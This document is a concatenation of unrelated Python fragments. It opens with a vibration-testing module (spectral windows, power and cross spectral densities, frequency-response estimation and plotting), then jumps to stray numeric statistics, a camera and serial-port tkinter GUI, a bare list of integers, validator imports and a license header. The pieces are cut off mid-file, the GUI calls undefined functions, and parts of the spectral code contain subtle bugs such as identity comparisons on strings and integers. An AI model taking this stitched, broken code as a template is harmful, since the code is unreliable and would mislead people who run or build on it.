f, _, _ = np.meshgrid(f[0, :], np.arange(
x.shape[0]), np.arange(x.shape[2]))
else:
f, _ = np.meshgrid(f[0, :], np.arange(x.shape[0]))
else:
n = x
v = (n - 1) / n * np.arange(n) + (n - 1) / n / 2
f = np.exp(-v / tc / (n - 1))
f = f / la.norm(f) * np.sqrt(n)
f = np.reshape(f, (1, -1))
f = f / la.norm(f) * np.sqrt(n)
return f
def hammwin(x):
"""Return the n point hamming window.
Returns x as the hamming windowingarray x_windowed
The windowed signal is then x*x_window
"""
print('hammwin is untested')
if isinstance(x, (list, tuple, np.ndarray)):
n = x.shape[1]
f = hammwin(n)
if len(x.shape) == 3:
f, _, _ = np.meshgrid(f[0, :], np.arange(
x.shape[0]), np.arange(x.shape[2]))
else:
f, _ = np.meshgrid(f[0, :], np.arange(x.shape[0]))
else:
n = x
f = np.reshape((0.54 - 0.46 * np.cos(2 * np.pi * (np.arange(n)) /
(n - 1))) * np.sqrt(5000 / 1987),
(1, -1))
f = f / la.norm(f) * np.sqrt(n)
return f
def flatwin(x):
"""Return the n point flat top window.
x_windows=flatwin(x)
Returns x as the flat top windowing array x_windowed
The windowed signal is then x*x_window
McConnell, K. G., "Vibration Testing: Theory and Practice," Wiley, 1995.
"""
print('flatwin is untested')
if isinstance(x, (list, tuple, np.ndarray)):
n = x.shape[1]
f = flatwin(n)
if len(x.shape) == 3:
f, _, _ = np.meshgrid(f[0, :], np.arange(
x.shape[0]), np.arange(x.shape[2]))
else:
f, _ = np.meshgrid(f[0, :], np.arange(x.shape[0]))
else:
n = x
f = np.reshape(
(1.0 - 1.933 * np.cos(2 * np.pi * (np.arange(n)) / (n - 1))
+ 1.286 * np.cos(4 * np.pi * (np.arange(n)) / (n - 1))
- 0.338 * np.cos(6 * np.pi * (np.arange(n)) / (n - 1))
+ 0.032 * np.cos(8 * np.pi * (np.arange(n)) / (n - 1))),
(1, -1))
f = f / la.norm(f) * np.sqrt(n)
return f
def boxwin(x):
"""Return the n point box window (uniform).
Returns x as the boxwin windowing array x_windowed
The windowed signal is then x*x_window
"""
print('boxwin is untested')
if isinstance(x, (list, tuple, np.ndarray)):
n = x.shape[1]
f = boxwin(n)
if len(x.shape) == 3:
f, _, _ = np.meshgrid(f[0, :], np.arange(
x.shape[0]), np.arange(x.shape[2]))
else:
f, _ = np.meshgrid(f[0, :], np.arange(x.shape[0]))
else:
n = x
# f=np.reshape((1.0-1.933*np.cos(2*np.pi*(np.arange(n))/(n-1))+1.286*np.cos(4*np.pi*(np.arange(n))/(n-1))-0.338*np.cos(6*np.pi*(np.arange(n))/(n-1))+0.032*np.cos(8*np.pi*(np.arange(n))/(n-1))),(1,-1))
f = np.reshape(np.ones((1, n)), (1, -1))
f = f / la.norm(f) * np.sqrt(n)
return f
def hannwin(*args, **kwargs):
"""Alternative for function `hanning`."""
return hanning(*args, **kwargs)
def asd(x, t, windowname="none", ave=bool(True)):
"""Return autospectrum (power spectrum) density of a signal x.
Parameters
----------
x : float array
Data array (n x N x m) where n is the number of sensors, m the
number of experiments.
t : float array
Time array (1 x N)
windowname : string
Name of windowing function to use. See `window`.
ave : bool, optional(True)
Average result or not?
Returns
-------
f : float array
Frequency vector (1 x N)
Pxx : float array
Autospectrum (n x N) or (n x N x m) if not averaged.
Examples
--------
>>> from scipy import signal
>>> import numpy as np
>>> import matplotlib.pyplot as plt
>>> import vibrationtesting as vt
>>> import numpy.linalg as la
Generate a 5 second test signal, a 10 V sine wave at 50 Hz, corrupted by
0.001 V**2/Hz of white noise sampled at 1 kHz.
>>> sample_freq = 1e3
>>> tfinal = 5
>>> sig_freq=50
>>> A=10
>>> noise_power = 0.0001 * sample_freq / 2
>>> noise_power = A/1e12
>>> time = np.arange(0,tfinal,1/sample_freq)
>>> time = np.reshape(time, (1, -1))
>>> x = A*np.sin(2*np.pi*sig_freq*time)
>>> x = x + np.random.normal(scale=np.sqrt(noise_power),
... size=(1, time.shape[1]))
>>> fig, (ax1, ax2) = plt.subplots(2,1)
>>> ax1.plot(time[0,:],x[0,:])
[<matplotlib.lines.Line2D object at ...>]
>>> ax1.set_title('Time history')
Text(0.5,1,'Time history')
>>> ax1.set_xlabel('Time (sec)')
Text(0.5,0,'Time (sec)')
>>> ax1.set_ylabel('$x(t)$')
Text(0,0.5,'$x(t)$')
Compute and plot the autospectrum density.
>>> freq_vec, Pxx = vt.asd(x, time, windowname="hanning", ave=bool(False))
>>> ax2.plot(freq_vec, 20*np.log10(Pxx[0,:]))
[<matplotlib.lines.Line2D object at ...>]
>>> ax2.set_ylim([-400, 100])
(-400, 100)
>>> ax2.set_xlabel('frequency (Hz)')
Text(0.5,0,'frequency (Hz)')
>>> ax2.set_ylabel('PSD (V**2/Hz)')
Text(0,0.5,'PSD (V**2/Hz)')
If we average the last half of the spectral density, to exclude the
peak, we can recover the noise power on the signal.
"""
f, Pxx = crsd(x, x, t, windowname=windowname, ave=ave)
Pxx = Pxx.real
return f, Pxx
def crsd(x, y, t, windowname="none", ave=bool(True)):
"""
Calculate the cross spectrum (power spectrum) density between two signals.
Parameters
----------
x, y : arrays
Data array (n x N x m) where n is the number of sensors, m the
number of experiments.
t : array
Time array (1 x N)
windowname : string
Name of windowing function to use. See `window`.
ave : bool, optional
Average result or not?
Returns
-------
f : array
Frequency vector (1 x N)
Pxy : array
Autospectrum (n x N) or (n x N x m) if not averaged.
Examples
--------
>>> from scipy import signal
>>> import numpy as np
>>> import matplotlib.pyplot as plt
>>> import vibrationtesting as vt
>>> import numpy.linalg as la
Generate a 5 second test signal, a 10 V sine wave at 50 Hz, corrupted by
0.001 V**2/Hz of white noise sampled at 1 kHz.
>>> sample_freq = 1e3
>>> tfinal = 5
>>> sig_freq=50
>>> A=10
>>> noise_power = 0.0001 * sample_freq / 2
>>> noise_power = A/1e12
>>> time = np.arange(0,tfinal,1/sample_freq)
>>> time = np.reshape(time, (1, -1))
>>> x = A*np.sin(2*np.pi*sig_freq*time)
>>> x = x + np.random.normal(scale=np.sqrt(noise_power),
... size=(1, time.shape[1]))
>>> fig = plt.figure()
>>> plt.subplot(2,1,1)
<matplotlib...>
>>> plt.plot(time[0,:],x[0,:])
[<matplotlib.lines.Line2D object at ...>]
>>> plt.title('Time history')
Text(0.5,1,'Time history')
>>> plt.xlabel('Time (sec)')
Text(0.5,0,'Time (sec)')
>>> plt.ylabel('$x(t)$')
Text(0,0.5,'$x(t)$')
Compute and plot the autospectrum density.
>>> freq_vec, Pxx = vt.asd(x, time, windowname="hanning", ave=bool(False))
>>> plt.subplot(2,1,2)
<matplotlib...>
>>> plt.plot(freq_vec, 20*np.log10(Pxx[0,:]))
[<matplotlib.lines.Line2D object at ...>]
>>> plt.ylim([-400, 100])
(-400, 100)
>>> plt.xlabel('frequency (Hz)')
Text(0.5,0,'frequency (Hz)')
>>> plt.ylabel('PSD (V**2/Hz)')
Text(0,0.5,'PSD (V**2/Hz)')
>>> fig.tight_layout()
"""
# t_shape = t.shape
t = t.flatten()
if len(t) == 1:
dt = t
else:
dt = t[2] - t[1]
if dt <= 0:
print('You sent in bad data. Delta t is negative. \
Please check your inputs.')
if len(x.shape) == 1:
x = np.expand_dims(x, axis=0)
x = np.expand_dims(x, axis=2)
y = np.expand_dims(y, axis=0)
y = np.expand_dims(y, axis=2)
n = x.shape[1]
if windowname is False or windowname.lower() is "none":
win = 1
else:
# print('This doesn\'t work yet')
windowname = windowname.lower()
win = 1
if windowname == "hanning":
win = window(x, windowname='hanning')
elif windowname == "blackwin":
win = window(x, windowname='blackwin')
elif windowname == "boxwin":
win = window(x, windowname='boxwin')
elif windowname == "expwin":
win = window(x, windowname='expwin')
elif windowname == "hammwin":
win = window(x, windowname='hamming')
elif windowname == "triwin":
win = window(x, windowname='triwin')
elif windowname == "flatwin":
win = window(x, windowname='flatwin')
y = y * win
x = x * win
del win
ffty = np.fft.rfft(y, n, axis=1) * dt
fftx = np.fft.rfft(x, n, axis=1) * dt
Pxy = np.conj(fftx) * ffty / (n * dt) * 2
if len(Pxy.shape) == 3 and Pxy.shape[2] > 1 and ave:
Pxy = np.mean(Pxy, 2)
nfreq = 1 / dt / 2
f = np.linspace(0, nfreq, Pxy.shape[1]) # /2./np.pi
return f, Pxy
def frfest(x, f, dt, windowname="hanning", ave=bool(True), Hv=bool(False)):
r"""Return freq, H1, H2, coh, Hv.
Estimates the :math:`H(j\omega)` Frequency Response Functions (FRFs)
between :math:`x` and :math:`f`.
Parameters
----------
x : float array
output or response of system
f : float array
input to system
dt : float
time step of samples
windowname : string
One of: hanning, hamming, blackman, flatwin, boxwin
ave : bool, optional(True)- currently locked
whether or not to average PSDs and ASDs or calculate raw FRFs
Hv : bool, optional(False)
calculate the :math:`H_v` frequency response function
Returns
-------
freq : float array
frequency vector (1xN)
H1 : float array
Frequency Response Function :math:`H_1` estimate, (nxN) or (nxNxm)
H2 : float array
Frequency Response Function :math:`H_2` estimate, (nxN) or (nxNxm)
coh : float array
Coherance Function :math:`\gamma^2` estimate, (nxN)
Hv : float array
Frequency Response Function :math:`H_v` estimate, (nxN) or (nxNxm)
Currently ``ave`` is locked to default values.
Examples
--------
>>> import control as ctrl
>>> import matplotlib.pyplot as plt
>>> import vibrationtesting as vt
>>> import numpy as np
>>> sample_freq = 1e3
>>> noise_power = 0.001 * sample_freq / 2
>>> A = np.array([[0, 0, 1, 0],
... [0, 0, 0, 1],
... [-200, 100, -.2, .1],
... [100, -200, .1, -.2]])
>>> B = np.array([[0], [0], [1], [0]])
>>> C = np.array([[35, 0, 0, 0], [0, 35, 0, 0]])
>>> D = np.array([[0], [0]])
>>> sys = ctrl.ss(A, B, C, D)
>>> tin = np.arange(0, 51.2, .1)
>>> nr = .5 # 0 is all noise on input
>>> for i in np.arange(520):
... u = np.random.normal(scale=np.sqrt(noise_power), size=tin.shape)
... #print(u)
... t, yout, xout = ctrl.forced_response(sys, tin, u,rtol=1e-12)
... if 'Yout' in locals():
... Yout=np.dstack((Yout,yout
... +nr*np.random.normal(scale=.050*np.std(yout[0,:]),
... size=yout.shape)))
... Ucomb=np.dstack((Ucomb,u+(1-nr)
... *np.random.normal(scale=.05*np.std(u),
... size=u.shape)))
... else:
... Yout=yout+nr*np.random.normal(scale=.05*np.std(yout[0,:]),
... size=yout.shape)
... # noise on output is 5% scale of input
... Ucomb=u+(1-nr)*np.random.normal(scale=.05*np.std(u),
... size=u.shape)#(1, len(tin)))
... # 5% noise signal on input
>>> f, Hxy1, Hxy2, coh, Hxyv = vt.frfest(Yout, Ucomb, t, Hv=bool(True))
>>> vt.frfplot(f,Hxy2,freq_max=3.5, legend=['$H_{11}$', '$H_{12}$'])
... # doctest: +SKIP
>>> vt.frfplot(f, np.vstack((Hxy1[0,:], Hxy2[0,:], Hxyv[0,:])),
... legend=['$H_{11-1}$','$H_{11-2}$','$H_{11-v}$'])
... # doctest: +SKIP
Notes
-----
.. note:: Not compatible with scipy.signal functions
.. seealso:: :func:`asd`, :func:`crsd`, :func:`frfplot`.
.. warning:: hanning window cannot be selected yet. Averaging cannot be
unslected yet.
.. todo:: Fix averaging, windowing, multiple input.
"""
if len(f.shape) == 1:
f = f.reshape(1, -1, 1)
if len(x.shape) == 1:
x = x.reshape(1, -1, 1)
if len(f.shape) == 2:
if (f.shape).index(max(f.shape)) == 0:
f = f.reshape(max(f.shape), min(f.shape), 1)
else:
f = f.reshape(1, max(f.shape), min(f.shape))
if len(x.shape) == 2:
if (x.shape).index(max(x.shape)) == 0:
x = x.reshape(max(x.shape), min(x.shape), 1)
else:
x = x.reshape(1, max(x.shape), min(x.shape))
# Note: Two different ways to ignore returned values shown
Pff = asd(f, dt, windowname=windowname)[1]
freq, Pxf = crsd(x, f, dt, windowname=windowname)
_, Pxx = asd(x, dt)
# Note Pfx=conj(Pxf) is applied in the H1 FRF estimation
Txf1 = np.conj(Pxf / Pff)
Txf2 = Pxx / Pxf
# Nulled to avoid output problems/simplify calls if unrequested
Txfv = np.zeros_like(Txf1)
coh = (Pxf * np.conj(Pxf)).real / Pxx / Pff
if Hv:
for i in np.arange(Pxx.shape[1]):
frfm = np.array(
[[Pff[0, i], np.conj(Pxf[0, i])], [Pxf[0, i], Pxx[0, i]]])
alpha = 1 # np.sqrt(Pff[0,i]/Pxx[0,i])
frfm = np.array([[Pff[0, i], alpha * np.conj(Pxf[0, i])],
[alpha * Pxf[0, i], alpha**2 * Pxx[0, i]]])
lam, vecs = la.eigh(frfm)
index = lam.argsort()
lam = lam[index]
vecs = vecs[:, index]
Txfv[0, i] = -(vecs[0, 0] / vecs[1, 0]) / alpha
return freq, Txf1, Txf2, coh, Txfv
def frfplot(freq, H, freq_min=0, freq_max=None, type=1, legend=[]):
"""Frequency Response Function pretty plotting.
Plots frequency response functions in a variety of formats
Parameters
----------
freq : float array
Frequency vector (rad/sec), (1xN)
H : float array
Frequency response functions (nxN)
freq_min : float, optional
Low frequency for plot (default 0)
freq_min : float, optional
High frequency for plot (default max frequency)
legend : string array
Array of string for use in legend.
type : int, optional
Plot type. See notes.
Returns
-------
ax : axis objects
allows manipulation of plot parameters (xlabel, title...)
Examples
--------
>>> import matplotlib.pyplot as plt
>>> import vibrationtesting as vt
>>> import numpy as np
>>> f=np.linspace(0,100,10000).reshape(-1,1);
>>> w=f*2*np.pi;
>>> k=1e5;m=1;c=1;
>>> frf1=1./(m*(w*1j)**2+c*1j*w+k)
>>> frf2=1./(m*(w*1j)**2+c*1j*w+k*3)
>>> _ = vt.frfplot(f,np.hstack((frf1,frf2)), legend = ['FRF 1','FRF 2'])
... # doctest: +SKIP
Notes
-----
+---------+------------------------------------------------+
| type | Plot style |
+=========+================================================+
| 1 (def) | Magnitude and Phase versus F |
+---------+------------------------------------------------+
| 2 | Magnitude and Phase versus log10(F) |
+---------+------------------------------------------------+
| 3 | Bodelog (Magnitude and Phase versus log10(w)) |
+---------+------------------------------------------------+
| 4 | Real and Imaginary |
+---------+------------------------------------------------+
| 5 | Nyquist (Imaginary versus Real) |
+---------+------------------------------------------------+
| 6 | Magnitude versus F |
+---------+------------------------------------------------+
| 7 | Phase versus F |
+---------+------------------------------------------------+
| 8 | Real versus F |
+---------+------------------------------------------------+
| 9 | Imaginary versus F |
+---------+------------------------------------------------+
| 10 | Magnitude versus log10(F) |
+---------+------------------------------------------------+
| 11 | Phase versus log10(F) |
+---------+------------------------------------------------+
| 12 | Real versus log10(F) |
+---------+------------------------------------------------+
| 13 | Imaginary versus log10(F) |
+---------+------------------------------------------------+
| 14 | Magnitude versus log10(w) |
+---------+------------------------------------------------+
| 15 | Phase versus log10(w) |
+---------+------------------------------------------------+
.. seealso:: `frfest`
Copyright J. Slater, Dec 17, 1994
Updated April 27, 1995
Ported to Python, July 1, 2015
"""
FLAG = type # Plot type, should libe renamed throughout.
freq = freq.reshape(1, -1)
lenF = freq.shape[1]
if len(H.shape) is 1:
H = H.reshape(1, -1)
if H.shape[0] > H.shape[1]:
H = H.T
if freq_max is None:
freq_max = np.max(freq)
if freq_min is None:
freq_min = np.min(freq)
if freq_min < np.min(freq):
freq_min = np.min(freq)
if freq_min > freq_max:
raise ValueError('freq_min must be less than freq_max.')
# print(str(np.amin(freq)))
inlow = int(lenF * (freq_min - np.amin(freq)
) // (np.amax(freq) - np.amin(freq)))
inhigh = int(lenF * (freq_max - np.amin(freq)
) // (np.amax(freq) - np.amin(freq)) - 1)
# if inlow<1,inlow=1;end
# if inhigh>lenF,inhigh=lenF;end
"""print('freq shape: {}'.format(freq.shape))
print('H shape: {}'.format(H.shape))
print('Index of low frequency: {}'.format(inlow))
print('Index of high frequency: {}'.format(inhigh))"""
H = H[:, inlow:inhigh]
# print(H.shape)
freq = freq[:, inlow:inhigh]
mag = 20 * np.log10(np.abs(H))
# print(mag)
# print(mag.shape)
minmag = np.min(mag)
maxmag = np.max(mag)
phase = np.unwrap(np.angle(H)) * 180 / np.pi
# phmin_max=[min(phase)//45)*45 ceil(max(max(phase))/45)*45];
phmin = np.amin(phase) // 45 * 45.0
phmax = (np.amax(phase) // 45 + 1) * 45
"""minreal = np.amin(np.real(H))
maxreal = np.amax(np.real(H))
minimag = np.amin(np.imag(H))
maximag = np.amax(np.imag(H))"""
if FLAG is 1:
fig, (ax1, ax2) = plt.subplots(2, 1)
ax1.plot(freq.T, mag.T)
ax1.set_xlabel('Frequency (Hz)')
ax1.set_ylabel('Mag (dB)')
ax1.grid()
ax1.set_xlim(xmax=freq_max, xmin=freq_min)
ax1.set_ylim(ymax=maxmag, ymin=minmag)
ax2.plot(freq.T, phase.T)
ax2.set_xlabel('Frequency (Hz)')
ax2.set_ylabel('Phase (deg)')
ax2.grid()
ax2.set_xlim(xmax=freq_max, xmin=freq_min)
ax2.set_ylim(ymax=phmax, ymin=phmin)
ax2.set_yticks(np.arange(phmin, (phmax + 45), 45))
fig.tight_layout()
if len(legend) > 0:
plt.legend(legend)
ax = (ax1, ax2)
else:
print("Sorry, that option isn't supported yet")
return ax
"""# elif FLAG==2:
# subplot(2,1,1)
# semilogx(F,mag)
# xlabel('Frequency (Hz)')
# ylabel('Mag (dB)')
# grid on
# % Fmin,Fmax,min(mag),max(mag)
# axis([Fmin Fmax minmag maxmag])
# subplot(2,1,2)
# semilogx(F,phase)
# xlabel('Frequency (Hz)')
# ylabel('Phase (deg)')
# grid on
# axis([Fmin Fmax phmin_max(1) phmin_max(2)])
# gridmin_max=round(phmin_max/90)*90;
# set(gca,'YTick',gridmin_max(1):90:gridmin_max(2))
# elif FLAG==3:
# subplot(2,1,1)
# mag=20*log10(abs(Xfer));
# semilogx(F*2*pi,mag)
# xlabel('Frequency (Rad/s)')
# ylabel('Mag (dB)')
# grid on
# axis([Wmin Wmax minmag maxmag])
# zoom on
# subplot(2,1,2)
# semilogx(F*2*pi,phase)
# xlabel('Frequency (Rad/s)')
# ylabel('Phase (deg)')
# grid on
# axis([Wmin Wmax phmin_max(1) phmin_max(2)])
# gridmin_max=round(phmin_max/90)*90;
# set(gca,'YTick',gridmin_max(1):90:gridmin_max(2))
# elseif FLAG==4
# subplot(2,1,1)
# plot(F,real(Xfer))
# xlabel('Frequency (Hz)')
# ylabel('Real')
# grid on
# axis([Fmin Fmax minreal maxreal])
# zoom on
# subplot(2,1,2)
# plot(F,imag(Xfer))
# xlabel('Frequency (Hz)')
# ylabel('Imaginary')
# grid on
# axis([Fmin Fmax minimag maximag])
# zoom on
# elseif FLAG==5
# subplot(1,1,1)
# imax=round(length(F)*Fmax/max(F));
# imin=round(length(F)*Fmin/max(F))+1;
# plot(real(Xfer(imin:imax)),imag(Xfer(imin:imax)))
# xlabel('Real')
# ylabel('Imaginary')
# grid on
# zoom on
# elseif FLAG==6
# subplot(1,1,1)
# mag=20*log10(abs(Xfer));
# plot(F,mag)
# xlabel('Frequency (Hz)')
# ylabel('Mag (dB)')
# grid on
# axis([Fmin Fmax minmag maxmag])
# zoom on
# elseif FLAG==7
# subplot(1,1,1)
# plot(F,phase)
# xlabel('Frequency (Hz)')
# ylabel('Phase (deg)')
# grid on
# phmin_max=[floor(min(phase)/45)*45 ceil(max(phase)/45)*45];
# axis([Fmin Fmax phmin_max(1) phmin_max(2)])
# gridmin_max=round(phmin_max/90)*90;
# set(gca,'YTick',gridmin_max(1):90:gridmin_max(2))
# zoom on
# elseif FLAG==8
# subplot(1,1,1)
# plot(F,real(Xfer))
# xlabel('Frequency (Hz)')
# ylabel('Real')
# grid on
# axis([Fmin Fmax minreal maxreal])
# zoom on
# elseif FLAG==9
# subplot(1,1,1)
# plot(F,imag(Xfer))
# xlabel('Frequency (Hz)')
# ylabel('Imaginary')
# grid on
# axis([Fmin Fmax minimag maximag])
# zoom on
# elseif FLAG==10
# subplot(1,1,1)
# mag=20*log10(abs(Xfer));
# semilogx(F,mag)
# xlabel('Frequency (Hz)')
# ylabel('Mag (dB)')
# grid on
# axis([Fmin Fmax minmag maxmag])
# zoom on
# elseif FLAG==11
# subplot(1,1,1)
# semilogx(F,phase)
# xlabel('Frequency (Hz)')
# ylabel('Phase (deg)')
# grid on
# phmin_max=[floor(min(phase)/45)*45 ceil(max(phase)/45)*45];
# axis([Fmin Fmax phmin_max(1) phmin_max(2)])
# gridmin_max=round(phmin_max/90)*90;
# set(gca,'YTick',gridmin_max(1):90:gridmin_max(2))
# zoom on
# elseif FLAG==12
# subplot(1,1,1)
# semilogx(F,real(Xfer))
# xlabel('Frequency (Hz)')
# ylabel('Real')
# grid on
# axis([Fmin Fmax minreal maxreal])
# zoom on
# elseif FLAG==13
# subplot(1,1,1)
# semilogx(F,imag(Xfer))
# xlabel('Frequency (Hz)')
# ylabel('Imaginary')
# grid on
# axis([Fmin Fmax minimag maximag])
# zoom on
# elseif FLAG==14
# subplot(1,1,1)
# mag=20*log10(abs(Xfer));
# semilogx(F*2*pi,mag)
# xlabel('Frequency (Rad/s)')
# ylabel('Mag (dB)')
# grid on
# axis([Wmin Wmax minmag maxmag])
# zoom on
# elseif FLAG==15
# subplot(1,1,1)
# semilogx(F*2*pi,phase)
# xlabel('Frequency (Rad/s)')
# ylabel('Phase (deg)')
# grid on
# axis([Wmin Wmax phmin_max(1) phmin_max(2)])
# gridmin_max=round(phmin_max/90)*90;
# set(gca,'YTick',gridmin_max(1):90:gridmin_max(2))
# zoom on
# else
# subplot(2,1,1)
# mag=20*log10(abs(Xfer));
# plot(F,mag)
# xlabel('Frequency (Hz)')
# ylabel('Mag (dB)')
# grid on
# axis([Fmin Fmax minmag maxmag])
# zoom on
# subplot(2,1,2)
# plot(F,phase)
# xlabel('Frequency (Hz)')
# ylabel('Phase (deg)')
# grid on
# phmin_max=[floor(min(phase)/45)*45 ceil(max(phase)/45)*45];
# axis([Fmin Fmax phmin_max(1) phmin_max(2)])
# gridmin_max=round(phmin_max/90)*90;
# set(gca,'YTick',gridmin_max(1):90:gridmin_max(2))
# zoom on
"""
def xcorr(t, x, y, zeropad=True):
"""Sorry, no docs or tests yet."""
tau = t
# sx = len(x)
# sy = len(y)
if zeropad is True:
Xn = np.fft.rfft(x, n=len(x) * 2)
Yn = np.conj(sp.fft(y, n=len(x) * 2))
else:
Xn = np.fft.rfft(x)
Yn = np.conj(np.fft.rfft(y))
xcor = np.real(fftpack.fftshift(sp.ifft(Xn * Yn)))
dt = t[1] - t[0]
tau = np.linspace(-len(xcor) / 2 * dt - dt / 2,
len(xcor) / 2 * dt - dt / 2, len(xcor))
return tau, xcor
def hammer_impulse(time, imp_time=None, imp_duration=None, doublehit=False,
dh_delta=None):
"""Generate simulated hammer hit (half sine).
Parameters
----------
time : float array
1 x N time array. Suggest using `np.linspace(0,10,1000).reshape(1,-1)`
for example
imp_time : float (optional)
Time of onset of impulse. Default is 0.1 time end time- which
traditionally works well for impact testing
imp_duration : float (optional)
Duration of impulse. Default is 0.01 of total record
doublehit : Boolean (optional)
Allows repeat of hit to emulate a bad strike. Default is False
dh_delta : float (optional)
Time difference between primary strike and accidental second strike
Default is 0.02 of record.
Returns
-------
force : float array
Examples
--------
>>> import vibrationtesting as vt
>>> time = np.linspace(0,10,1024).reshape(1,-1)
>>> force = vt.hammer_impulse(time, doublehit=True)
>>> plt.plot(time.T, force.T)
[<matplotlib.lines.Line2D object...
"""
time_max = np.max(time)
if imp_time is None:
imp_time = 0.1 * time_max
if imp_duration is None:
imp_duration = 0.01 * time_max
if dh_delta is None:
dh_delta = 0.02
dh_delta = dh_delta * time_max
time = time.reshape(1, -1)
imp_onset_index = int(time.shape[1] * imp_time / time_max)
imp_offset_index = int((time.shape[1]) *
(imp_time + imp_duration) / time_max)
imp_length = imp_offset_index - imp_onset_index
T = imp_duration * 2
omega = 2 * np.pi / T
impulse = np.sin(omega * time[0, :imp_length])
force = np.zeros_like(time)
force[0, imp_onset_index:imp_onset_index + imp_length] = impulse
if doublehit is True:
doub_onset_index = int(time.shape[1]
* (imp_time + dh_delta) / time_max)
force[0, doub_onset_index:doub_onset_index + imp_length] = impulse
force = force / spi.simps(force.reshape(-1), dx=time[0, 1])
return force
def decimate(t, in_signal, sample_frequency):
r"""Decimate a signal to mimic sampling anti-aliased signal.
Returns the signal down-sampled to `sample_frequency` with an
anti-aliasing filter applied at 45% of ` sample_frequency`.
Parameters
----------
t : float array
time array, size (N,)
signal : float array
signal array, size (N,), (m,N), or (m,N,n)
sample_frequency : float
new sampling frequency
Returns
-------
time : float array
decimated_signal : float array
Examples
--------
>>> time = np.linspace(0,4,4096)
>>> u = np.random.randn(1,len(time))
>>> ttime, signal_out = decimate(time, u, 100)
"""
dt = t[1] - t[0]
current_frequency = 1 / dt
freq_frac = sample_frequency / current_frequency
Wn = .9 * freq_frac
b, a = signal.butter(8, Wn, 'low')
if len(in_signal.shape) > 1:
filtered_signal = signal.lfilter(b, a, in_signal, axis=1)
else:
filtered_signal = signal.lfilter(b, a, in_signal)
step = int(1 / freq_frac)
time = t[::step]
if len(in_signal.shape) == 1:
filtered_signal = filtered_signal[::step]
elif len(in_signal.shape) == 2:
filtered_signal = filtered_signal[:, ::step]
elif len(in_signal.shape) == 3:
filtered_signal = filtered_signal[:, ::step, :]
return time, filtered_signal
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] | 2.058975 | 20,246 |
import serial
import time
import tkinter
import tkinter.font as font
from datetime import datetime
from PIL import ImageTk, Image
import sys
import pypylon.pylon as py
import matplotlib.pyplot as plt
import numpy as np
import cv2
# SOME PART OF CAMERA CODE CREATES AN INSTANCE OF TK THAT USES PACK. SO WE CANNOT USE GRID AND WE HAVE TO
# ASSIGN EACH COMPONENT TO THE MASTER=FRAME
# Note that the camera code will throw exception if camera is not connected.
# Locate & Initialize camera
cam = py.InstantCamera(py.TlFactory.GetInstance().CreateFirstDevice())
cam.Open()
# Reset to factory Defaults
cam.UserSetSelector = "Default"
cam.UserSetLoad.Execute()
# Set to blk/white photo
cam.PixelFormat = "RGB8"
# Take one picture - need dif approach for looping imgs
res = cam.GrabOne(1000)
# Get array form of picture
img = res.Array
# Display our image
plt.imshow(img)
# Below is the code for handling images in the background
# We need this so that our GUI still responds while pictures are being taken automatically
# We need to decide how many pictures we want to take with each burst, and whether the user tells us when to take or whether they are collected automatically
# We should also display the images as they are taken (or at least one from each burst) so that the user has some sense of what's actually happening
# If we want to do all camera management through our GUI, we should have a way for the user to see what's happening without saving the pictures to save space
# We also need to decide WHEN we want to calculate deformation. If we calculate it automatically then we could do so as soon as the images are taken.
# If we rely on the user to outline the image, we need to make sure that we hold onto the voltage value associated with the image until that time.
converter = py.ImageFormatConverter()
converter.OutputPixelFormat = py.PixelType_BGR8packed
converter.OutputBitAlignment = py.OutputBitAlignment_MsbAligned
imgs = []
ser = serial.Serial('com3', 9600)
ser.write(bytes([0]))
frame = tkinter.Tk()
frame.geometry('1000x800')
frame.title("Cytomech DEP Controller")
lgFont = "Times 20 bold"
PIL_image = np.ones((900,600))*150
tk_image = ImageTk.PhotoImage(master=frame,image=Image.fromarray(PIL_image))
imgLbl = tkinter.Label(frame,image=tk_image,width=900,height=600)
imgLbl.pack()
decVoltageBtn = tkinter.Button(frame,
text="-",
font=lgFont,
command=decVoltage,
height = 2,
fg = "black",
bg = 'yellow',
width = 4,
bd = 5,
activebackground='white'
)
#decVoltageBtn.grid(row=1,column=1,rowspan=2, padx=20, pady=5)
decVoltageBtn.pack(padx = 10, pady = 10, ipadx=10,ipady=10,expand=True,fill='both',side="left")
voltageTxt = tkinter.StringVar(master=frame)
voltIndex = tkinter.IntVar(master=frame)
voltIndex.set(0)
voltageTxt.set("Current Vpp (est): 0")
voltLbl = tkinter.Label(frame,textvariable=voltageTxt, width = 15,font=lgFont)
#voltLbl.grid(row=3,column=1,columnspan=3, padx=20, pady=5)
voltLbl.pack(pady = 10,expand=True,fill='both',side="left")
incVoltageBtn = tkinter.Button(frame,
text="+",
font=lgFont,
command=incVoltage,
height = 2,
fg = "black",
bg = 'green',
width = 4,
bd = 5,
activebackground='white'
)
#incVoltageBtn.grid(row=1,column=3,rowspan=2)
incVoltageBtn.pack(padx = 10, pady = 10,ipadx=10,ipady=10,expand=True,fill='both',side="left")
photoBtn = tkinter.Button(frame,
text="Take Photo",
font=lgFont,
command=takePhoto,
height = 2,
fg = "black",
bg = '#FF7715',
width = 10,
bd = 5,
activebackground='white'
)
#photoBtn.grid(row=4,column=1,rowspan=2, padx=20, pady=5)
photoBtn.pack(padx = 10, pady = 10, ipadx=10,ipady=10,expand=True,fill='both',side="left")
quitButton = tkinter.Button(
frame,
text="QUIT",
font=lgFont,
command=quit,
height = 2,
fg = "black",
width = 5,
bg = 'red',
bd = 5
)
#quitButton.grid(row=4,column=3,rowspan=2, padx=20, pady=5)
quitButton.pack(padx = 10, pady = 10,ipadx=10,ipady=10,expand=True,fill='both',side="left")
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8,
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7,
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11,
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11,
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4943,
201,
198,
201,
198,
30488,
3849,
13,
12417,
26268,
3419
] | 2.54474 | 1,654 |
from collections import defaultdict
from app import error_messages
from app.validators.answers import get_answer_validator
from app.validators.blocks import get_block_validator
from app.validators.questionnaire_schema import get_object_containing_key
from app.validators.questions import get_question_validator
from app.validators.routing.new_routing_validator import NewRoutingValidator
from app.validators.routing.new_when_rule_validator import NewWhenRuleValidator
from app.validators.routing.routing_validator import RoutingValidator
from app.validators.routing.when_rule_validator import WhenRuleValidator
from app.validators.validator import Validator
from app.validators.value_source_validator import ValueSourceValidator
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"""
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import remi.gui as gui
from remi import start, App
import os
if __name__ == "__main__":
